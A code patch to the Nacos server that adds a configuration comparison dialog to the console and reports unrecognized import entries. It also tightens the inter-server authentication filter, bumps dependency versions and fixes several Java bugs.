url: 'v1/console/namespaces',
|
||||
success: res => {
|
||||
if (res.code === 200) {
|
||||
const { namespacesDataSource } = this.state;
|
||||
this.setState({ namespacesDataSource: res.data });
|
||||
} else {
|
||||
Dialog.alert({
|
||||
title: prompt,
|
||||
content: res.message,
|
||||
});
|
||||
}
|
||||
},
|
||||
error: res => {
|
||||
window.namespaceList = [
|
||||
{
|
||||
namespace: '',
|
||||
namespaceShowName: '公共空间',
|
||||
type: 0,
|
||||
},
|
||||
];
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
render() {
|
||||
const { locale = {} } = this.props;
|
||||
const { getError } = this.field;
|
||||
const { visible, onOk, onCancel, dataId, group } = this.props;
|
||||
const { namespacesDataSource } = this.state;
|
||||
return (
|
||||
<>
|
||||
<Dialog
|
||||
title={locale.configComparisonTitle}
|
||||
visible={visible}
|
||||
onOk={() => {
|
||||
const fields = {
|
||||
dataId: 'dataId',
|
||||
group: 'group',
|
||||
namespace: 'namespace',
|
||||
};
|
||||
const vals = Object.keys(fields).map(key => {
|
||||
return this.field.getValue(key);
|
||||
});
|
||||
onOk(vals);
|
||||
}}
|
||||
onClose={onCancel}
|
||||
onCancel={onCancel}
|
||||
afterClose={() => this.field.reset()}
|
||||
>
|
||||
<Form style={{ width: 430 }} {...formItemLayout} field={this.field}>
|
||||
<FormItem label={'namespace'} help={getError('namespace')}>
|
||||
<Select
|
||||
name="namespace"
|
||||
placeholder={locale.namespaceSelect}
|
||||
style={{ width: '100%' }}
|
||||
>
|
||||
{namespacesDataSource.map(({ namespace, namespaceShowName }) => (
|
||||
<Option value={namespace}>
|
||||
{namespaceShowName} {namespace ? `(${namespace})` : ''}
|
||||
</Option>
|
||||
))}
|
||||
</Select>
|
||||
</FormItem>
|
||||
<FormItem label={'Data Id'} required help={getError('Data Id')}>
|
||||
<Input name="dataId" trim placeholder={locale.dataIdInput} defaultValue={dataId} />
|
||||
</FormItem>
|
||||
<FormItem label={'Group'} required help={getError('Group')}>
|
||||
<Input name="group" trim placeholder={locale.configComparison} defaultValue={group} />
|
||||
</FormItem>
|
||||
</Form>
|
||||
</Dialog>
|
||||
</>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default ConfigCompared;
|
@ -32,6 +32,8 @@ import DiffEditorDialog from '../../../components/DiffEditorDialog';
|
||||
|
||||
import './index.scss';
|
||||
import PropTypes from 'prop-types';
|
||||
import requestUtils from '../../../utils/request';
|
||||
import ConfigCompared from './ConfigCompared';
|
||||
|
||||
const TabPane = Tab.Item;
|
||||
const FormItem = Form.Item;
|
||||
@ -69,6 +71,7 @@ class ConfigDetail extends React.Component {
|
||||
this.pageSize = getParams('pageSize');
|
||||
this.pageNo = getParams('pageNo');
|
||||
this.diffEditorDialog = React.createRef();
|
||||
this.compareEditorDialog = React.createRef();
|
||||
// this.params = window.location.hash.split('?')[1]||'';
|
||||
}
|
||||
|
||||
@ -227,8 +230,39 @@ class ConfigDetail extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
openCompare = ([dataId, group, tenant]) => {
|
||||
let self = this;
|
||||
const { locale = {} } = this.props;
|
||||
let leftvalue = this.monacoEditor.getValue();
|
||||
const params = {
|
||||
show: 'all',
|
||||
group,
|
||||
dataId,
|
||||
tenant,
|
||||
};
|
||||
requestUtils.get('v1/cs/configs', { params }).then(res => {
|
||||
if (res != null && res !== '') {
|
||||
let rightvalue = res.content;
|
||||
leftvalue = leftvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
|
||||
rightvalue = rightvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
|
||||
self.compareEditorDialog.current.getInstance().openDialog(leftvalue, rightvalue);
|
||||
} else {
|
||||
Dialog.alert({ title: locale.error, content: locale.configNotFind });
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
onClickConfigCompare() {
|
||||
this.setState({ configCompareVisible: true });
|
||||
}
|
||||
|
||||
closeConfigCompare() {
|
||||
this.setState({ configCompareVisible: false });
|
||||
}
|
||||
|
||||
render() {
|
||||
const { locale = {} } = this.props;
|
||||
const { configCompareVisible } = this.state;
|
||||
const { init } = this.field;
|
||||
const formItemLayout = {
|
||||
labelCol: {
|
||||
@ -318,6 +352,9 @@ class ConfigDetail extends React.Component {
|
||||
</Form>
|
||||
<Row>
|
||||
<Col span="24" className="button-list">
|
||||
<Button size="large" type="primary" onClick={() => this.onClickConfigCompare()}>
|
||||
{locale.configComparison}
|
||||
</Button>{' '}
|
||||
<Button size="large" type="primary" onClick={this.openDiff.bind(this)}>
|
||||
{locale.versionComparison}
|
||||
</Button>{' '}
|
||||
@ -332,7 +369,22 @@ class ConfigDetail extends React.Component {
|
||||
currentArea={locale.dialogCurrentArea}
|
||||
originalArea={locale.dialogOriginalArea}
|
||||
/>
|
||||
<DiffEditorDialog
|
||||
ref={this.compareEditorDialog}
|
||||
title={locale.configComparison}
|
||||
currentArea={locale.dialogCurrentConfig}
|
||||
originalArea={locale.dialogComparedConfig}
|
||||
/>
|
||||
</Loading>
|
||||
<ConfigCompared
|
||||
visible={configCompareVisible}
|
||||
dataId={this.dataId}
|
||||
group={this.group}
|
||||
onOk={config => {
|
||||
this.openCompare(config);
|
||||
}}
|
||||
onCancel={() => this.closeConfigCompare()}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
@ -1004,7 +1004,10 @@ class ConfigurationManagement extends React.Component {
|
||||
const resultCode = ret.code;
|
||||
if (resultCode === 200) {
|
||||
confirm.hide();
|
||||
if (ret.data.failData && ret.data.failData.length > 0) {
|
||||
let failCount = ret.data.failData ? ret.data.failData.length : 0;
|
||||
let skipCount = ret.data.skipData ? ret.data.skipData.length : 0;
|
||||
let unrecognizedCount = ret.data.unrecognizedCount ? ret.data.unrecognizedCount : 0;
|
||||
if (failCount > 0) {
|
||||
Dialog.alert({
|
||||
title: isImport ? locale.importAbort : locale.cloneAbort,
|
||||
content: (
|
||||
@ -1014,7 +1017,7 @@ class ConfigurationManagement extends React.Component {
|
||||
</h4>
|
||||
<div style={{ marginTop: 20 }}>
|
||||
<h5>
|
||||
{locale.failureEntries}: {ret.data.failData.length}
|
||||
{locale.failureEntries}: {failCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.failData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
@ -1023,30 +1026,50 @@ class ConfigurationManagement extends React.Component {
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unprocessedEntries}: {ret.data.skipData ? ret.data.skipData.length : 0}
|
||||
{locale.unprocessedEntries}: {skipCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.skipData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
<Table.Column title="Group" dataIndex="group" />
|
||||
</Table>
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unrecognizedEntries}: {unrecognizedCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.unrecognizedData}>
|
||||
<Table.Column title="Item Name" dataIndex="itemName" />
|
||||
</Table>
|
||||
</div>
|
||||
</div>
|
||||
),
|
||||
});
|
||||
} else if (ret.data.skipCount && ret.data.skipCount > 0) {
|
||||
} else if (skipCount > 0 || unrecognizedCount > 0) {
|
||||
let message = `${isImport ? locale.importSuccEntries : locale.cloneSuccEntries}${
|
||||
ret.data.succCount
|
||||
}`;
|
||||
Dialog.alert({
|
||||
title: isImport ? locale.importSucc : locale.cloneSucc,
|
||||
content: (
|
||||
<div style={{ width: '500px' }}>
|
||||
<h5>{message}</h5>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.skippedEntries}: {ret.data.skipData.length}
|
||||
{locale.skippedEntries}: {skipCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.skipData}>
|
||||
<Table.Column title="Data Id" dataIndex="dataId" />
|
||||
<Table.Column title="Group" dataIndex="group" />
|
||||
</Table>
|
||||
</div>
|
||||
<div>
|
||||
<h5>
|
||||
{locale.unrecognizedEntries}: {unrecognizedCount}
|
||||
</h5>
|
||||
<Table dataSource={ret.data.unrecognizedData}>
|
||||
<Table.Column title="Item Name" dataIndex="itemName" />
|
||||
</Table>
|
||||
</div>
|
||||
</div>
|
||||
),
|
||||
});
|
||||
|
@ -102,6 +102,10 @@ class Login extends React.Component {
|
||||
<div className="animation animation5" />
|
||||
<Card className="login-panel" contentHeight="auto">
|
||||
<div className="login-header">{locale.login}</div>
|
||||
<div className="internal-sys-tip">
|
||||
<div>{locale.internalSysTip1}</div>
|
||||
<div>{locale.internalSysTip2}</div>
|
||||
</div>
|
||||
<Form className="login-form" field={this.field}>
|
||||
<FormItem>
|
||||
<Input
|
||||
|
@ -54,9 +54,18 @@ $contentWidth: 1280px;
|
||||
margin-top: 58px;
|
||||
text-align: center;
|
||||
}
|
||||
.internal-sys-tip {
|
||||
width: 100%;
|
||||
line-height: 25px;
|
||||
font-size: 20px;
|
||||
margin-top: 25px;
|
||||
text-align: center;
|
||||
font-weight: 800;
|
||||
color: #ff0000cc;
|
||||
}
|
||||
.login-form {
|
||||
width: 360px;
|
||||
margin: 80px auto auto auto;
|
||||
margin: 40px auto auto auto;
|
||||
input {
|
||||
height: 60px;
|
||||
}
|
||||
|
@ -185,10 +185,10 @@ class InstanceTable extends React.Component {
|
||||
)}
|
||||
/>
|
||||
</Table>
|
||||
{_instance.count > pageSize ? (
|
||||
{instance.count > pageSize ? (
|
||||
<Pagination
|
||||
className="pagination"
|
||||
total={_instance.count}
|
||||
total={instance.count}
|
||||
pageSize={pageSize}
|
||||
onChange={currentPage => this.onChangePage(currentPage)}
|
||||
/>
|
||||
|
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@ -73,10 +73,25 @@ public class AuthFilter implements Filter {
|
||||
HttpServletRequest req = (HttpServletRequest) request;
|
||||
HttpServletResponse resp = (HttpServletResponse) response;
|
||||
|
||||
String userAgent = WebUtils.getUserAgent(req);
|
||||
|
||||
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
|
||||
chain.doFilter(request, response);
|
||||
if (authConfigs.isEnableUserAgentAuthWhite()) {
|
||||
String userAgent = WebUtils.getUserAgent(req);
|
||||
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
|
||||
chain.doFilter(request, response);
|
||||
return;
|
||||
}
|
||||
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
|
||||
.isNotBlank(authConfigs.getServerIdentityValue())) {
|
||||
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
|
||||
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
|
||||
chain.doFilter(request, response);
|
||||
return;
|
||||
}
|
||||
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
|
||||
req.getRemoteHost());
|
||||
} else {
|
||||
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
|
||||
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
|
||||
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -349,12 +349,19 @@ public class ServerMemberManager implements ApplicationListener<WebServerInitial
|
||||
Member existMember = serverList.get(address);
|
||||
if (existMember == null) {
|
||||
hasChange = true;
|
||||
// If the cluster information in cluster.conf or address-server has been changed,
|
||||
// while the corresponding nacos-server has not been started yet, the member's state
|
||||
// should be set to DOWN. If the corresponding nacos-server has been started, the
|
||||
// member's state will be set to UP after detection in a few seconds.
|
||||
member.setState(NodeState.DOWN);
|
||||
tmpMap.put(address, member);
|
||||
} else {
|
||||
//to keep extendInfo and abilities that report dynamically.
|
||||
tmpMap.put(address, existMember);
|
||||
}
|
||||
|
||||
// Ensure that the node is created only once
|
||||
tmpMap.put(address, member);
|
||||
if (NodeState.UP.equals(member.getState())) {
|
||||
tmpAddressInfo.add(address);
|
||||
}
|
||||
|
@ -16,6 +16,8 @@
|
||||
|
||||
package com.alibaba.nacos.core.code;
|
||||
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import com.alibaba.nacos.common.utils.CollectionUtils;
|
||||
import com.alibaba.nacos.core.auth.RequestMappingInfo;
|
||||
import com.alibaba.nacos.core.auth.RequestMappingInfo.RequestMappingInfoComparator;
|
||||
@ -65,9 +67,6 @@ public class ControllerMethodsCache {
|
||||
|
||||
public Method getMethod(HttpServletRequest request) {
|
||||
String path = getPath(request);
|
||||
if (path == null) {
|
||||
return null;
|
||||
}
|
||||
String httpMethod = request.getMethod();
|
||||
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
|
||||
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
|
||||
@ -94,13 +93,12 @@ public class ControllerMethodsCache {
|
||||
}
|
||||
|
||||
private String getPath(HttpServletRequest request) {
|
||||
String path = null;
|
||||
try {
|
||||
path = new URI(request.getRequestURI()).getPath();
|
||||
return new URI(request.getRequestURI()).getPath();
|
||||
} catch (URISyntaxException e) {
|
||||
LOGGER.error("parse request to path error", e);
|
||||
throw new NacosRuntimeException(NacosException.NOT_FOUND, "Invalid URI");
|
||||
}
|
||||
return path;
|
||||
}
|
||||
|
||||
private List<RequestMappingInfo> findMatchedInfo(List<RequestMappingInfo> requestMappingInfos,
|
||||
@ -219,6 +217,9 @@ public class ControllerMethodsCache {
|
||||
if (requestMappingInfos == null) {
|
||||
urlLookup.putIfAbsent(urlKey, new ArrayList<>());
|
||||
requestMappingInfos = urlLookup.get(urlKey);
|
||||
// For issue #4701.
|
||||
String urlKeyBackup = urlKey + "/";
|
||||
urlLookup.putIfAbsent(urlKeyBackup, requestMappingInfos);
|
||||
}
|
||||
requestMappingInfos.add(requestMappingInfo);
|
||||
methods.put(requestMappingInfo, method);
|
||||
|
@ -16,17 +16,23 @@
|
||||
|
||||
package com.alibaba.nacos.core.controller;
|
||||
|
||||
import com.alibaba.nacos.auth.annotation.Secured;
|
||||
import com.alibaba.nacos.auth.common.ActionTypes;
|
||||
import com.alibaba.nacos.common.model.RestResult;
|
||||
import com.alibaba.nacos.common.model.RestResultUtils;
|
||||
import com.alibaba.nacos.core.distributed.ProtocolManager;
|
||||
import com.alibaba.nacos.core.distributed.id.IdGeneratorManager;
|
||||
import com.alibaba.nacos.core.utils.Commons;
|
||||
import com.alibaba.nacos.core.utils.Loggers;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.PutMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@ -56,6 +62,7 @@ public class CoreOpsController {
|
||||
// }
|
||||
|
||||
@PostMapping(value = "/raft")
|
||||
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
|
||||
public RestResult<String> raftOps(@RequestBody Map<String, String> commands) {
|
||||
return protocolManager.getCpProtocol().execute(commands);
|
||||
}
|
||||
@ -72,4 +79,10 @@ public class CoreOpsController {
|
||||
return RestResultUtils.success(info);
|
||||
}
|
||||
|
||||
@PutMapping(value = "/log")
|
||||
public String setLogLevel(@RequestParam String logName, @RequestParam String logLevel) {
|
||||
Loggers.setLogLevel(logName, logLevel);
|
||||
return HttpServletResponse.SC_OK + "";
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -60,7 +60,7 @@ public interface KvStorage {
|
||||
*
|
||||
* @param keys List byte[]
|
||||
* @return Map byte[], byte[]
|
||||
* @throws KvStorageException RocksStorageException
|
||||
* @throws KvStorageException KvStorageException
|
||||
*/
|
||||
Map<byte[], byte[]> batchGet(List<byte[]> keys) throws KvStorageException;
|
||||
|
||||
@ -69,34 +69,34 @@ public interface KvStorage {
|
||||
*
|
||||
* @param key byte[]
|
||||
* @param value byte[]
|
||||
* @throws KvStorageException RocksStorageException
|
||||
* @throws KvStorageException KvStorageException
|
||||
*/
|
||||
void put(byte[] key, byte[] value) throws KvStorageException;
|
||||
|
||||
/**
|
||||
* batch write.
|
||||
*
|
||||
* @param key List byte[]
|
||||
* @param keys List byte[]
|
||||
* @param values List byte[]
|
||||
* @throws KvStorageException RocksStorageException
|
||||
* @throws KvStorageException KvStorageException
|
||||
*/
|
||||
void batchPut(List<byte[]> key, List<byte[]> values) throws KvStorageException;
|
||||
void batchPut(List<byte[]> keys, List<byte[]> values) throws KvStorageException;
|
||||
|
||||
/**
|
||||
* delete with key.
|
||||
*
|
||||
* @param key byte[]
|
||||
* @throws KvStorageException RocksStorageException
|
||||
* @throws KvStorageException KvStorageException
|
||||
*/
|
||||
void delete(byte[] key) throws KvStorageException;
|
||||
|
||||
/**
|
||||
* batch delete with keys.
|
||||
*
|
||||
* @param key List byte[]
|
||||
* @throws KvStorageException RocksStorageException
|
||||
* @param keys List byte[]
|
||||
* @throws KvStorageException KvStorageException
|
||||
*/
|
||||
void batchDelete(List<byte[]> key) throws KvStorageException;
|
||||
void batchDelete(List<byte[]> keys) throws KvStorageException;
|
||||
|
||||
/**
|
||||
* do snapshot.
|
||||
|
@ -16,6 +16,7 @@
|
||||
|
||||
package com.alibaba.nacos.core.utils;
|
||||
|
||||
import ch.qos.logback.classic.Level;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
|
||||
@ -50,4 +51,27 @@ public class Loggers {
|
||||
|
||||
public static final Logger TPS_CONTROL_DETAIL = LoggerFactory.getLogger("com.alibaba.nacos.core.remote.control.detail");
|
||||
|
||||
public static void setLogLevel(String logName, String level) {
|
||||
|
||||
switch (logName) {
|
||||
case "core-auth":
|
||||
((ch.qos.logback.classic.Logger) AUTH).setLevel(Level.valueOf(level));
|
||||
break;
|
||||
case "core":
|
||||
((ch.qos.logback.classic.Logger) CORE).setLevel(Level.valueOf(level));
|
||||
break;
|
||||
case "core-raft":
|
||||
((ch.qos.logback.classic.Logger) RAFT).setLevel(Level.valueOf(level));
|
||||
break;
|
||||
case "core-distro":
|
||||
((ch.qos.logback.classic.Logger) DISTRO).setLevel(Level.valueOf(level));
|
||||
break;
|
||||
case "core-cluster":
|
||||
((ch.qos.logback.classic.Logger) CLUSTER).setLevel(Level.valueOf(level));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -72,7 +72,7 @@ public class NamingKvStorage extends MemoryKvStorage {
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new KvStorageException(ErrorCode.KVStorageWriteError.getCode(),
|
||||
"Get data failed, key: " + new String(key), e);
|
||||
"Get data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
@ -97,7 +97,7 @@ public class NamingKvStorage extends MemoryKvStorage {
|
||||
storage.put(key, value);
|
||||
} catch (Exception e) {
|
||||
throw new KvStorageException(ErrorCode.KVStorageWriteError.getCode(),
|
||||
"Put data failed, key: " + new String(key), e);
|
||||
"Put data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
|
||||
}
|
||||
// after actual storage put success, put it in memory, memory put should success all the time
|
||||
super.put(key, value);
|
||||
@ -124,15 +124,15 @@ public class NamingKvStorage extends MemoryKvStorage {
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new KvStorageException(ErrorCode.KVStorageDeleteError.getCode(),
|
||||
"Delete data failed, key: " + new String(key), e);
|
||||
"Delete data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
|
||||
}
|
||||
// after actual storage delete success, put it in memory, memory delete should success all the time
|
||||
super.delete(key);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void batchDelete(List<byte[]> key) throws KvStorageException {
|
||||
for (byte[] each : key) {
|
||||
public void batchDelete(List<byte[]> keys) throws KvStorageException {
|
||||
for (byte[] each : keys) {
|
||||
delete(each);
|
||||
}
|
||||
}
|
||||
|
@ -65,10 +65,10 @@ public class PersistentServiceProcessor extends BasePersistentServiceProcessor {
|
||||
@Override
|
||||
public void afterConstruct() {
|
||||
super.afterConstruct();
|
||||
this.protocol.addRequestProcessors(Collections.singletonList(this));
|
||||
this.protocol.protocolMetaData()
|
||||
.subscribe(Constants.NAMING_PERSISTENT_SERVICE_GROUP, MetadataKey.LEADER_META_DATA,
|
||||
(o, arg) -> hasLeader = StringUtils.isNotBlank(String.valueOf(arg)));
|
||||
this.protocol.addRequestProcessors(Collections.singletonList(this));
|
||||
// If you choose to use the new RAFT protocol directly, there will be no compatible logical execution
|
||||
if (EnvUtil.getProperty(Constants.NACOS_NAMING_USE_NEW_RAFT_FIRST, Boolean.class, false)) {
|
||||
NotifyCenter.registerSubscriber(notifier);
|
||||
|
@ -201,7 +201,10 @@ public class Service extends com.alibaba.nacos.api.naming.pojo.Service implement
|
||||
|
||||
@Override
|
||||
public void onDelete(String key) throws Exception {
|
||||
// ignore
|
||||
boolean isEphemeral = KeyBuilder.matchEphemeralInstanceListKey(key);
|
||||
for (Cluster each : clusterMap.values()) {
|
||||
each.updateIps(Collections.emptyList(), isEphemeral);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -941,7 +941,7 @@ public class ServiceManager implements RecordListener<Service> {
|
||||
|
||||
if (StringUtils.isNotBlank(param)) {
|
||||
StringJoiner regex = new StringJoiner(Constants.SERVICE_INFO_SPLITER);
|
||||
for (String s : param.split(Constants.SERVICE_INFO_SPLITER)) {
|
||||
for (String s : param.split(Constants.SERVICE_INFO_SPLITER, Constants.SERVICE_INFO_SPLIT_COUNT)) {
|
||||
regex.add(StringUtils.isBlank(s) ? Constants.ANY_PATTERN
|
||||
: Constants.ANY_PATTERN + s + Constants.ANY_PATTERN);
|
||||
}
|
||||
|
@ -68,8 +68,8 @@ public class HealthCheckReactor {
|
||||
Runnable wrapperTask =
|
||||
task instanceof NacosHealthCheckTask ? new HealthCheckTaskInterceptWrapper((NacosHealthCheckTask) task)
|
||||
: task;
|
||||
futureMap.putIfAbsent(task.taskKey(),
|
||||
GlobalExecutor.scheduleNamingHealth(wrapperTask, 5000, 5000, TimeUnit.MILLISECONDS));
|
||||
futureMap.computeIfAbsent(task.taskKey(),
|
||||
k -> GlobalExecutor.scheduleNamingHealth(task, 5000, 5000, TimeUnit.MILLISECONDS));
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -121,8 +121,9 @@ public class GlobalExecutor {
|
||||
new NameThreadFactory("com.alibaba.nacos.naming.tcp.check.worker"));
|
||||
|
||||
private static final ScheduledExecutorService NAMING_HEALTH_EXECUTOR = ExecutorFactory.Managed
|
||||
.newScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class), DEFAULT_THREAD_COUNT,
|
||||
new NameThreadFactory("com.alibaba.nacos.naming.health"));
|
||||
.newScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class),
|
||||
Integer.max(Integer.getInteger("com.alibaba.nacos.naming.health.thread.num", DEFAULT_THREAD_COUNT),
|
||||
1), new NameThreadFactory("com.alibaba.nacos.naming.health"));
|
||||
|
||||
private static final ScheduledExecutorService RETRANSMITTER_EXECUTOR = ExecutorFactory.Managed
|
||||
.newSingleScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class),
|
||||
|
17
pom.xml
17
pom.xml
@ -141,16 +141,16 @@
|
||||
<log4j.version>2.13.3</log4j.version>
|
||||
|
||||
<httpasyncclient.version>4.1.3</httpasyncclient.version>
|
||||
<mysql-connector-java.version>8.0.16</mysql-connector-java.version>
|
||||
<mysql-connector-java.version>8.0.21</mysql-connector-java.version>
|
||||
<derby.version>10.14.2.0</derby.version>
|
||||
<cglib-nodep.version>2.1</cglib-nodep.version>
|
||||
<jcip-annotations.version>1.0</jcip-annotations.version>
|
||||
<jackson-core.version>2.10.4</jackson-core.version>
|
||||
<jackson-databind.version>2.10.4</jackson-databind.version>
|
||||
<jackson-core.version>2.12.2</jackson-core.version>
|
||||
<jackson-databind.version>2.12.2</jackson-databind.version>
|
||||
<jackson.annotations.version>2.12.2</jackson.annotations.version>
|
||||
<jackson-core-asl.version>1.9.13</jackson-core-asl.version>
|
||||
<jjwt.version>0.11.2</jjwt.version>
|
||||
<netty-all.version>4.1.51.Final</netty-all.version>
|
||||
<!--<netty-common.version>4.1.31.Final</netty-common.version>-->
|
||||
<netty-all.version>4.1.59.Final</netty-all.version>
|
||||
<mina-core.version>2.0.0-RC1</mina-core.version>
|
||||
<guava.version>24.1.1-jre</guava.version>
|
||||
<javatuples.version>1.2</javatuples.version>
|
||||
@ -164,7 +164,7 @@
|
||||
<mockito-all.version>1.10.19</mockito-all.version>
|
||||
<hamcrest-all.version>1.3</hamcrest-all.version>
|
||||
<prometheus-simpleclient.version>0.5.0</prometheus-simpleclient.version>
|
||||
<tomcat-embed-jasper.version>9.0.38</tomcat-embed-jasper.version>
|
||||
<tomcat-embed-jasper.version>9.0.40</tomcat-embed-jasper.version>
|
||||
<truth.version>0.30</truth.version>
|
||||
<HikariCP.version>3.4.2</HikariCP.version>
|
||||
<jraft-core.version>1.3.5</jraft-core.version>
|
||||
@ -916,6 +916,11 @@
|
||||
<artifactId>jackson-databind</artifactId>
|
||||
<version>${jackson-databind.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.core</groupId>
|
||||
<artifactId>jackson-annotations</artifactId>
|
||||
<version>${jackson.annotations.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.codehaus.jackson</groupId>
|
||||
<artifactId>jackson-core-asl</artifactId>
|
||||
|
@ -45,6 +45,7 @@ import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Properties;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
* @author klw
|
||||
@ -121,7 +122,7 @@ public class ConfigExportAndImportAPI_CITCase {
|
||||
params.put("beta", "false");
|
||||
result = agent.httpDelete(CONFIG_CONTROLLER_PATH + "/", null, params, agent.getEncode(), TIME_OUT);
|
||||
Assert.assertEquals(HttpURLConnection.HTTP_OK, result.getCode());
|
||||
|
||||
|
||||
params.put("dataId", "testHasAppname1.properties");
|
||||
params.put("group", "EXPORT_IMPORT_TEST_GROUP");
|
||||
params.put("beta", "false");
|
||||
@ -265,7 +266,9 @@ public class ConfigExportAndImportAPI_CITCase {
|
||||
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test1.yml", "test: test1"));
|
||||
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test2.txt", "test: test1"));
|
||||
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test3.properties", "test.test1.value=test"));
|
||||
String metaDataStr = "TEST_IMPORT.test2~txt.app=testApp1\r\nTEST_IMPORT.test3~properties.app=testApp2";
|
||||
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT_2/test4.properties", "test.test4.value=test"));
|
||||
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/SUB_GROUP/test5.properties", "test.test5.value=test"));
|
||||
String metaDataStr = "TEST_IMPORT.test1~yml.app=testApp1\rTEST_IMPORT.test2~txt.app=testApp2\r\nTEST_IMPORT.test3~properties.app=testApp3\nTEST_IMPORT_2.test4~properties.app=testApp4";
|
||||
zipItemList.add(new ZipUtils.ZipItem(".meta.yml", metaDataStr));
|
||||
String importUrl = "?import=true&namespace=";
|
||||
Map<String, String> importPrarm = new HashMap<>(1);
|
||||
@ -275,7 +278,15 @@ public class ConfigExportAndImportAPI_CITCase {
|
||||
uploadByteFile.setFileBytes(ZipUtils.zip(zipItemList));
|
||||
uploadByteFile.setMediaType("application/zip");
|
||||
uploadByteFile.setPrarmName("file");
|
||||
httpClient.post(SERVER_ADDR + CONFIG_CONTROLLER_PATH + importUrl, importPrarm, Collections.singletonList(uploadByteFile), null);
|
||||
String importResult = httpClient.post(SERVER_ADDR + CONFIG_CONTROLLER_PATH + importUrl, importPrarm, Collections.singletonList(uploadByteFile), null);
|
||||
|
||||
// test unrecognizedData
|
||||
JsonNode importResObj = JacksonUtils.toObj(importResult);
|
||||
int unrecognizedCount = importResObj.get("data").get("unrecognizedCount").intValue();
|
||||
Assert.assertEquals(1, unrecognizedCount);
|
||||
JsonNode unrecognizedData = importResObj.get("data").get("unrecognizedData").get(0);
|
||||
Assert.assertEquals("TEST_IMPORT/SUB_GROUP/test5.properties", unrecognizedData.get("itemName").textValue());
|
||||
|
||||
String getDataUrl = "?search=accurate&dataId=&group=TEST_IMPORT&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&namespaceId=";
|
||||
String queryResult = httpClient.get(SERVER_ADDR + CONFIG_CONTROLLER_PATH + getDataUrl, null);
|
||||
JsonNode resultObj = JacksonUtils.toObj(queryResult);
|
||||
@ -288,13 +299,26 @@ public class ConfigExportAndImportAPI_CITCase {
|
||||
}
|
||||
switch (config.get("dataId").textValue()){
|
||||
case "test1.yml":
|
||||
Assert.assertEquals(config.get("appName").textValue(), "testApp1");
|
||||
break;
|
||||
case "test2.txt":
|
||||
Assert.assertEquals(config.get("appName").textValue(), "testApp2");
|
||||
break;
|
||||
case "test3.properties":
|
||||
Assert.assertEquals(config.get("appName").textValue(), "testApp3");
|
||||
break;
|
||||
default:
|
||||
Assert.fail();
|
||||
}
|
||||
}
|
||||
